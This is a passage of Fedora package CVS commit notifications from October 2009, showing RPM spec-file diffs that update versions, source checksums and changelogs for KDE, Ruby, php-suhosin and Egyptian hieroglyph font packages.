 Patch1:  kdepim-4.3.1-kmail-saveAttachments.patch
-# upstream patches (4.3 branch):
-# unbreak ktimetracker (#532055, kde#209570)
-# backported from 4.3.3: http://websvn.kde.org/?view=revision&revision=1035759
-Patch100: kdepim-4.3.2-unbreak-ktimetracker.patch
 
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+# upstream patches (4.3 branch):
 
 Provides: kdepim4 = %{version}-%{release}
 
@@ -100,7 +98,6 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %setup -q
 %patch0 -p1 -b .libqgpgme-link-fix
 %patch1 -p0 -b .kmail-saveAttachments
-%patch100 -p0 -b .unbreak-ktimetracker
 
 
 %build


--- kdepim-4.3.2-unbreak-ktimetracker.patch DELETED ---



From rdieter at fedoraproject.org  Sat Oct 31 15:19:55 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 15:19:55 +0000 (UTC)
Subject: rpms/kdebase-workspace/devel kdebase-workspace.spec,1.303,1.304
Message-ID: <20091031151955.D6D2611C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdebase-workspace/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19584

Modified Files:
	kdebase-workspace.spec 
Log Message:
drop krootimage from files (TODO: where'd it go?)



Index: kdebase-workspace.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase-workspace/devel/kdebase-workspace.spec,v
retrieving revision 1.303
retrieving revision 1.304
diff -u -p -r1.303 -r1.304
--- kdebase-workspace.spec	31 Oct 2009 14:27:17 -0000	1.303
+++ kdebase-workspace.spec	31 Oct 2009 15:19:54 -0000	1.304
@@ -470,7 +470,8 @@ fi
 %{_kde4_libexecdir}/kcmdatetimehelper
 %{_kde4_libexecdir}/kfontprint
 %{_kde4_libexecdir}/kio_fonts_helper
-%{_kde4_libexecdir}/krootimage
+# FIXME: why no longer built/installed?  -- Rex
+#{_kde4_libexecdir}/krootimage
 %{_kde4_libexecdir}/kscreenlocker
 %{_kde4_libexecdir}/test_kcm_xinerama
 %{_libdir}/strigi/



From rdieter at fedoraproject.org  Sat Oct 31 15:36:52 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 15:36:52 +0000 (UTC)
Subject: rpms/kdegraphics/devel .cvsignore, 1.69, 1.70 kdegraphics.spec,
	1.215, 
	1.216 sources, 1.73, 1.74 kdegraphics-4.3.2-kde#207461.patch,
	1.1, NONE
Message-ID: <20091031153652.082B411C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdegraphics/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23921

Modified Files:
	.cvsignore kdegraphics.spec sources 
Removed Files:
	kdegraphics-4.3.2-kde#207461.patch 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdegraphics/devel/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	7 Oct 2009 10:41:26 -0000	1.69
+++ .cvsignore	31 Oct 2009 15:36:51 -0000	1.70
@@ -1 +1 @@
-kdegraphics-4.3.2.tar.bz2
+kdegraphics-4.3.3.tar.bz2


Index: kdegraphics.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdegraphics/devel/kdegraphics.spec,v
retrieving revision 1.215
retrieving revision 1.216
diff -u -p -r1.215 -r1.216
--- kdegraphics.spec	9 Oct 2009 03:35:45 -0000	1.215
+++ kdegraphics.spec	31 Oct 2009 15:36:51 -0000	1.216
@@ -7,8 +7,8 @@
 
 Summary:        K Desktop Environment - Graphics Applications
 Epoch:          7
-Version:        4.3.2
-Release:        3%{?dist}
+Version:        4.3.3
+Release:        1%{?dist}
 
 Name:           kdegraphics
 #Obsoletes:     kdegraphics4 < %{version}-%{release}
@@ -21,8 +21,6 @@ Source0:        ftp://ftp.kde.org/pub/kd
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 ## upstream patches
-# http://bugs.kde.org/207461
-Patch100:  kdegraphics-4.3.2-kde#207461.patch
 
 %if 0%{?fedora}
 BuildRequires:  chmlib-devel
@@ -101,8 +99,6 @@ Summary: A kioslave for displaying WinHe
 %prep
 %setup -q -n kdegraphics-%{version}
 
-%patch100 -p4 -b kde#207461
-
 
 %build
 mkdir -p %{_target_platform}
@@ -237,6 +233,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
 - okular does not handle escaped URL correctly (kde#207461)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdegraphics/devel/sources,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- sources	5 Oct 2009 13:06:38 -0000	1.73
+++ sources	31 Oct 2009 15:36:51 -0000	1.74
@@ -1 +1 @@
-a364a8c0f5ab0c0d41088c92890e6adb  kdegraphics-4.3.2.tar.bz2
+e150a9538133a359e3e2e8ccf0c58575  kdegraphics-4.3.3.tar.bz2


--- kdegraphics-4.3.2-kde#207461.patch DELETED ---



From mtasaka at fedoraproject.org  Sat Oct 31 15:45:37 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat, 31 Oct 2009 15:45:37 +0000 (UTC)
Subject: rpms/ruby-gnome2/F-12 ruby-gnome2.spec,1.48,1.49
Message-ID: <20091031154537.5896011C00EF@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby-gnome2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26828/F-12

Modified Files:
	ruby-gnome2.spec 
Log Message:
* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- release++



Index: ruby-gnome2.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby-gnome2/F-12/ruby-gnome2.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- ruby-gnome2.spec	27 Sep 2009 05:32:29 -0000	1.48
+++ ruby-gnome2.spec	31 Oct 2009 15:45:36 -0000	1.49
@@ -8,7 +8,7 @@
 # When changing release number, please make it sure that
 # the new EVR won't be higher than the one of higher branch!!
 #
-%define         mainrel                2
+%define         mainrel                3
 
 # Note
 # Currently this spec file does not support libgda module.
@@ -1097,6 +1097,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- release++
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.19.3-2
 - Fix crash when moving cursor on fantasdic 1.0 beta 7
   (ruby-gnome2-Bugs-2865895)



From mtasaka at fedoraproject.org  Sat Oct 31 15:45:37 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat, 31 Oct 2009 15:45:37 +0000 (UTC)
Subject: rpms/ruby-gnome2/devel ruby-gnome2.spec,1.49,1.50
Message-ID: <20091031154537.8CDC611C00EF@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby-gnome2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26828/devel

Modified Files:
	ruby-gnome2.spec 
Log Message:
* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- release++



Index: ruby-gnome2.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby-gnome2/devel/ruby-gnome2.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- ruby-gnome2.spec	27 Sep 2009 07:09:03 -0000	1.49
+++ ruby-gnome2.spec	31 Oct 2009 15:45:37 -0000	1.50
@@ -8,7 +8,7 @@
 # When changing release number, please make it sure that
 # the new EVR won't be higher than the one of higher branch!!
 #
-%define         mainrel                2
+%define         mainrel                3
 
 # Note
 # Currently this spec file does not support libgda module.
@@ -1097,6 +1097,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Nov  1 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- release++
+
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 0.19.3-2
 - Fix crash when moving cursor on fantasdic 1.0 beta 7
   (ruby-gnome2-Bugs-2865895)



From mtasaka at fedoraproject.org  Sat Oct 31 15:50:58 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat, 31 Oct 2009 15:50:58 +0000 (UTC)
Subject: rpms/ruby-RMagick/F-10 .cvsignore, 1.23, 1.24 ruby-RMagick.spec,
	1.28, 1.29 sources, 1.23, 1.24
Message-ID: <20091031155058.25F1111C0376@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby-RMagick/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28445/F-10

Modified Files:
	.cvsignore ruby-RMagick.spec sources 
Log Message:
* Sat Oct 31 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.12.2-1
- 2.12.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/F-10/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	9 Sep 2009 16:08:55 -0000	1.23
+++ .cvsignore	31 Oct 2009 15:50:57 -0000	1.24
@@ -1 +1 @@
-RMagick-2.11.1.tar.bz2
+RMagick-2.12.2.tar.bz2


Index: ruby-RMagick.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/F-10/ruby-RMagick.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- ruby-RMagick.spec	9 Sep 2009 16:08:55 -0000	1.28
+++ ruby-RMagick.spec	31 Oct 2009 15:50:57 -0000	1.29
@@ -4,7 +4,7 @@
 %define		rubyabi		1.8
 
 %define		modname		RMagick
-%define		repoid		63234
+%define		repoid		65318
 
 %define setIMver() \
 %if 0%{?fedora} == %1 \
@@ -13,7 +13,7 @@ Requires:		ImageMagick = %2\
 %endif \
 %{nil}
 
-%define		mainver		2.11.1
+%define		mainver		2.12.2
 %undefine		betaver		
 %define		fedorarel	1
 
@@ -53,6 +53,7 @@ ImageMagick and GraphicsMagick image pro
 %package	doc
 Summary:	Documentation for %{name}
 Group:		Documentation
+BuildArch:	noarch
 
 %description	doc
 This package contains documentaton files for %{name}.
@@ -105,6 +106,9 @@ touch -r README.html DOCDIR/README.html
 %doc DOCDIR/HTML/*
 
 %changelog
+* Sat Oct 31 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.12.2-1
+- 2.12.2
+
 * Thu Sep 10 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.11.1-1
 - 2.11.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/F-10/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	9 Sep 2009 16:08:55 -0000	1.23
+++ sources	31 Oct 2009 15:50:57 -0000	1.24
@@ -1 +1 @@
-62a9fc1c8ba9c4a986725aa33915c24b  RMagick-2.11.1.tar.bz2
+063db8fa74179467dc603943f55523c5  RMagick-2.12.2.tar.bz2



From mtasaka at fedoraproject.org  Sat Oct 31 15:50:58 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat, 31 Oct 2009 15:50:58 +0000 (UTC)
Subject: rpms/ruby-RMagick/F-11 .cvsignore, 1.23, 1.24 ruby-RMagick.spec,
	1.31, 1.32 sources, 1.23, 1.24
Message-ID: <20091031155058.44B5A11C0376@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby-RMagick/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28445/F-11

Modified Files:
	.cvsignore ruby-RMagick.spec sources 
Log Message:
* Sat Oct 31 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.12.2-1
- 2.12.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/F-11/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	9 Sep 2009 16:08:55 -0000	1.23
+++ .cvsignore	31 Oct 2009 15:50:58 -0000	1.24
@@ -1 +1 @@
-RMagick-2.11.1.tar.bz2
+RMagick-2.12.2.tar.bz2


Index: ruby-RMagick.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/F-11/ruby-RMagick.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- ruby-RMagick.spec	9 Sep 2009 16:08:55 -0000	1.31
+++ ruby-RMagick.spec	31 Oct 2009 15:50:58 -0000	1.32
@@ -4,7 +4,7 @@
 %define		rubyabi		1.8
 
 %define		modname		RMagick
-%define		repoid		63234
+%define		repoid		65318
 
 %define setIMver() \
 %if 0%{?fedora} == %1 \
@@ -13,7 +13,7 @@ Requires:		ImageMagick = %2\
 %endif \
 %{nil}
 
-%define		mainver		2.11.1
+%define		mainver		2.12.2
 %undefine		betaver		
 %define		fedorarel	1
 
@@ -53,6 +53,7 @@ ImageMagick and GraphicsMagick image pro
 %package	doc
 Summary:	Documentation for %{name}
 Group:		Documentation
+BuildArch:	noarch
 
 %description	doc
 This package contains documentaton files for %{name}.
@@ -105,6 +106,9 @@ touch -r README.html DOCDIR/README.html
 %doc DOCDIR/HTML/*
 
 %changelog
+* Sat Oct 31 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.12.2-1
+- 2.12.2
+
 * Thu Sep 10 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.11.1-1
 - 2.11.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/F-11/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	9 Sep 2009 16:08:55 -0000	1.23
+++ sources	31 Oct 2009 15:50:58 -0000	1.24
@@ -1 +1 @@
-62a9fc1c8ba9c4a986725aa33915c24b  RMagick-2.11.1.tar.bz2
+063db8fa74179467dc603943f55523c5  RMagick-2.12.2.tar.bz2



From mtasaka at fedoraproject.org  Sat Oct 31 15:50:58 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sat, 31 Oct 2009 15:50:58 +0000 (UTC)
Subject: rpms/ruby-RMagick/F-12 .cvsignore, 1.23, 1.24 ruby-RMagick.spec,
	1.35, 1.36 sources, 1.23, 1.24
Message-ID: <20091031155058.E390611C0376@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby-RMagick/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28445/F-12

Modified Files:
	.cvsignore ruby-RMagick.spec sources 
Log Message:
* Sat Oct 31 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.12.2-1
- 2.12.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/F-12/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	9 Sep 2009 16:08:55 -0000	1.23
+++ .cvsignore	31 Oct 2009 15:50:58 -0000	1.24
@@ -1 +1 @@
-RMagick-2.11.1.tar.bz2
+RMagick-2.12.2.tar.bz2


Index: ruby-RMagick.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/F-12/ruby-RMagick.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- ruby-RMagick.spec	9 Sep 2009 16:08:55 -0000	1.35
+++ ruby-RMagick.spec	31 Oct 2009 15:50:58 -0000	1.36
@@ -4,7 +4,7 @@
 %define		rubyabi		1.8
 
 %define		modname		RMagick
-%define		repoid		63234
+%define		repoid		65318
 
 %define setIMver() \
 %if 0%{?fedora} == %1 \
@@ -13,7 +13,7 @@ Requires:		ImageMagick = %2\
 %endif \
 %{nil}
 
-%define		mainver		2.11.1
+%define		mainver		2.12.2
 %undefine		betaver		
 %define		fedorarel	1
 
@@ -53,6 +53,7 @@ ImageMagick and GraphicsMagick image pro
 %package	doc
 Summary:	Documentation for %{name}
 Group:		Documentation
+BuildArch:	noarch
 
 %description	doc
 This package contains documentaton files for %{name}.
@@ -105,6 +106,9 @@ touch -r README.html DOCDIR/README.html
 %doc DOCDIR/HTML/*
 
 %changelog
+* Sat Oct 31 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.12.2-1
+- 2.12.2
+
 * Thu Sep 10 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.11.1-1
 - 2.11.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/ruby-RMagick/F-12/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	9 Sep 2009 16:08:55 -0000	1.23
+++ sources	31 Oct 2009 15:50:58 -0000	1.24
@@ -1 +1 @@
-62a9fc1c8ba9c4a986725aa33915c24b  RMagick-2.11.1.tar.bz2
+063db8fa74179467dc603943f55523c5  RMagick-2.12.2.tar.bz2



From zoeloelip at fedoraproject.org  Sat Oct 31 15:59:14 2009
From: zoeloelip at fedoraproject.org (Bart Vanbrabant)
Date: Sat, 31 Oct 2009 15:59:14 +0000 (UTC)
Subject: rpms/php-suhosin/devel .cvsignore, 1.4, 1.5 php-suhosin.spec, 1.6, 
	1.7 sources, 1.4, 1.5
Message-ID: <20091031155914.214A311C00EF@cvs1.fedora.phx.redhat.com>

Author: zoeloelip

Update of /cvs/pkgs/rpms/php-suhosin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30766

Modified Files:
	.cvsignore php-suhosin.spec sources 
Log Message:
Update to version 0.9.29



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-suhosin/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Aug 2008 09:14:01 -0000	1.4
+++ .cvsignore	31 Oct 2009 15:59:13 -0000	1.5
@@ -1 +1 @@
-suhosin-0.9.27.tgz
+suhosin-0.9.29.tgz


Index: php-suhosin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-suhosin/devel/php-suhosin.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- php-suhosin.spec	26 Jul 2009 18:38:08 -0000	1.6
+++ php-suhosin.spec	31 Oct 2009 15:59:13 -0000	1.7
@@ -3,8 +3,8 @@
 %global php_version %(php-config --version 2>/dev/null || echo 0)
 
 Name:           php-suhosin
-Version:        0.9.27
-Release:        4%{?dist}
+Version:        0.9.29
+Release:        1%{?dist}
 Summary:        Suhosin is an advanced protection system for PHP installations
 
 Group:          Development/Languages
@@ -49,6 +49,21 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/suhosin.so
 
 %changelog
+* Sat Oct 31 2009 Bart Vanbrabant <bart.vanbrabant at zoeloelip.be> - 0.9.29-1
+Update to version 0.9.29
+- Fixing crash bugs with PHP 5.3.0 caused by unexpected NULL in 
+  EG(active_symbol_table)
+- Added more compatible way to retrieve ext/session globals
+- Increased default length and count limit for POST variables 
+  (for people not reading docu)
+- Fixed crash bug with PHP 5.2.10 caused by a change in extension 
+  load order of ext/session
+- Fixed harmless parameter order error in a bogus memset()
+- Disable suhosin.session.cryptua by default because of 
+  Internet Explorer 8 "features"
+- Added suhosin.executor.include.allow_writable_files which can be 
+  disabled to disallow inclusion of files writable by the webserver
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.27-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-suhosin/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Aug 2008 09:14:01 -0000	1.4
+++ sources	31 Oct 2009 15:59:13 -0000	1.5
@@ -1 +1 @@
-9aae02bc2d2bcf9b8bd97cd22f56a8b8  suhosin-0.9.27.tgz
+e3c599e7e344e981f935b2dab90592c1  suhosin-0.9.29.tgz



From zoeloelip at fedoraproject.org  Sat Oct 31 16:02:33 2009
From: zoeloelip at fedoraproject.org (Bart Vanbrabant)
Date: Sat, 31 Oct 2009 16:02:33 +0000 (UTC)
Subject: rpms/php-suhosin/F-12 .cvsignore, 1.4, 1.5 php-suhosin.spec, 1.6,
	1.7 sources, 1.4, 1.5
Message-ID: <20091031160234.1952611C00EF@cvs1.fedora.phx.redhat.com>

Author: zoeloelip

Update of /cvs/pkgs/rpms/php-suhosin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31701

Modified Files:
	.cvsignore php-suhosin.spec sources 
Log Message:
Update to 0.9.29


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-suhosin/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Aug 2008 09:14:01 -0000	1.4
+++ .cvsignore	31 Oct 2009 16:02:32 -0000	1.5
@@ -1 +1 @@
-suhosin-0.9.27.tgz
+suhosin-0.9.29.tgz


Index: php-suhosin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-suhosin/F-12/php-suhosin.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- php-suhosin.spec	26 Jul 2009 18:38:08 -0000	1.6
+++ php-suhosin.spec	31 Oct 2009 16:02:32 -0000	1.7
@@ -3,8 +3,8 @@
 %global php_version %(php-config --version 2>/dev/null || echo 0)
 
 Name:           php-suhosin
-Version:        0.9.27
-Release:        4%{?dist}
+Version:        0.9.29
+Release:        1%{?dist}
 Summary:        Suhosin is an advanced protection system for PHP installations
 
 Group:          Development/Languages
@@ -49,6 +49,21 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/suhosin.so
 
 %changelog
+* Sat Oct 31 2009 Bart Vanbrabant <bart.vanbrabant at zoeloelip.be> - 0.9.29-1
+Update to version 0.9.29
+- Fixing crash bugs with PHP 5.3.0 caused by unexpected NULL in 
+  EG(active_symbol_table)
+- Added more compatible way to retrieve ext/session globals
+- Increased default length and count limit for POST variables 
+  (for people not reading docu)
+- Fixed crash bug with PHP 5.2.10 caused by a change in extension 
+  load order of ext/session
+- Fixed harmless parameter order error in a bogus memset()
+- Disable suhosin.session.cryptua by default because of 
+  Internet Explorer 8 "features"
+- Added suhosin.executor.include.allow_writable_files which can be 
+  disabled to disallow inclusion of files writable by the webserver
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.27-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-suhosin/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Aug 2008 09:14:01 -0000	1.4
+++ sources	31 Oct 2009 16:02:32 -0000	1.5
@@ -1 +1 @@
-9aae02bc2d2bcf9b8bd97cd22f56a8b8  suhosin-0.9.27.tgz
+e3c599e7e344e981f935b2dab90592c1  suhosin-0.9.29.tgz



From zoeloelip at fedoraproject.org  Sat Oct 31 16:07:21 2009
From: zoeloelip at fedoraproject.org (Bart Vanbrabant)
Date: Sat, 31 Oct 2009 16:07:21 +0000 (UTC)
Subject: rpms/php-suhosin/F-11 .cvsignore, 1.4, 1.5 php-suhosin.spec, 1.4,
	1.5 sources, 1.4, 1.5
Message-ID: <20091031160721.24F5A11C00EF@cvs1.fedora.phx.redhat.com>

Author: zoeloelip

Update of /cvs/pkgs/rpms/php-suhosin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv452

Modified Files:
	.cvsignore php-suhosin.spec sources 
Log Message:
Update to 0.9.29


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/php-suhosin/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	26 Aug 2008 09:14:01 -0000	1.4
+++ .cvsignore	31 Oct 2009 16:07:20 -0000	1.5
@@ -1 +1 @@
-suhosin-0.9.27.tgz
+suhosin-0.9.29.tgz


Index: php-suhosin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/php-suhosin/F-11/php-suhosin.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- php-suhosin.spec	26 Feb 2009 22:44:32 -0000	1.4
+++ php-suhosin.spec	31 Oct 2009 16:07:20 -0000	1.5
@@ -3,8 +3,8 @@
 %global php_version %(php-config --version 2>/dev/null || echo 0)
 
 Name:           php-suhosin
-Version:        0.9.27
-Release:        2%{?dist}
+Version:        0.9.29
+Release:        1%{?dist}
 Summary:        Suhosin is an advanced protection system for PHP installations
 
 Group:          Development/Languages
@@ -49,6 +49,27 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/suhosin.so
 
 %changelog
+* Sat Oct 31 2009 Bart Vanbrabant <bart.vanbrabant at zoeloelip.be> - 0.9.29-1
+Update to version 0.9.29
+- Fixing crash bugs with PHP 5.3.0 caused by unexpected NULL in 
+  EG(active_symbol_table)
+- Added more compatible way to retrieve ext/session globals
+- Increased default length and count limit for POST variables 
+  (for people not reading docu)
+- Fixed crash bug with PHP 5.2.10 caused by a change in extension 
+  load order of ext/session
+- Fixed harmless parameter order error in a bogus memset()
+- Disable suhosin.session.cryptua by default because of 
+  Internet Explorer 8 "features"
+- Added suhosin.executor.include.allow_writable_files which can be 
+  disabled to disallow inclusion of files writable by the webserver
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.27-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Jul 13 2009 Remi Collet <Fedora at FamilleCollet.com> - 0.9.27-3
+- rebuild for new PHP 5.3.0 ABI (20090626)
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.27-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/php-suhosin/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	26 Aug 2008 09:14:01 -0000	1.4
+++ sources	31 Oct 2009 16:07:20 -0000	1.5
@@ -1 +1 @@
-9aae02bc2d2bcf9b8bd97cd22f56a8b8  suhosin-0.9.27.tgz
+e3c599e7e344e981f935b2dab90592c1  suhosin-0.9.29.tgz



From ozamosi at fedoraproject.org  Sat Oct 31 16:10:15 2009
From: ozamosi at fedoraproject.org (Robin Sonefors)
Date: Sat, 31 Oct 2009 16:10:15 +0000 (UTC)
Subject: rpms/gdouros-aegyptus-fonts/devel
	gdouros-aegyptus-fonts-fontconfig.conf, NONE,
	1.1 gdouros-aegyptus-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091031161015.DE9F611C0380@cvs1.fedora.phx.redhat.com>

Author: ozamosi

Update of /cvs/pkgs/rpms/gdouros-aegyptus-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1227

Modified Files:
	.cvsignore sources 
Added Files:
	gdouros-aegyptus-fonts-fontconfig.conf 
	gdouros-aegyptus-fonts.spec 
Log Message:
Version 2.52



--- NEW FILE gdouros-aegyptus-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>fantasy</family>
    <prefer>
      <family>Aegyptus</family>
    </prefer>
  </alias>
  <alias>
    <family>Aegyptus</family>
    <default>
      <family>fantasy</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gdouros-aegyptus-fonts.spec ---
%global fontname gdouros-aegyptus
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        2.52
Release:        1%{?dist}
Summary:        A font for Egyptian hieroglyphs

Group:          User Interface/X
License:        Copyright only
URL:            http://users.teilar.gr/~g1951d/
Source0:        http://users.teilar.gr/~g1951d/Aegyptus.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Aegyptus encodes over 7000 hieroglyphs.

There is no standard for Egyptian Hieroglyphs or Meroitic, so they are
allocated in the Supplementary Private Use Plane 15. The font also covers Basic
Latin, Egyptian Transliteration characters, some Punctuation and other Symbols,
and the Gardiner set of 1071 Egyptian Hieroglyphs, now suppored by The Unicode
Standard 5.2 in the new SMP block 13000 - 1342F.

It was created by George Douros, mainly based on the book Hieroglyphica,
PIREI I?, 2000.

%prep
%setup -q -c


%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
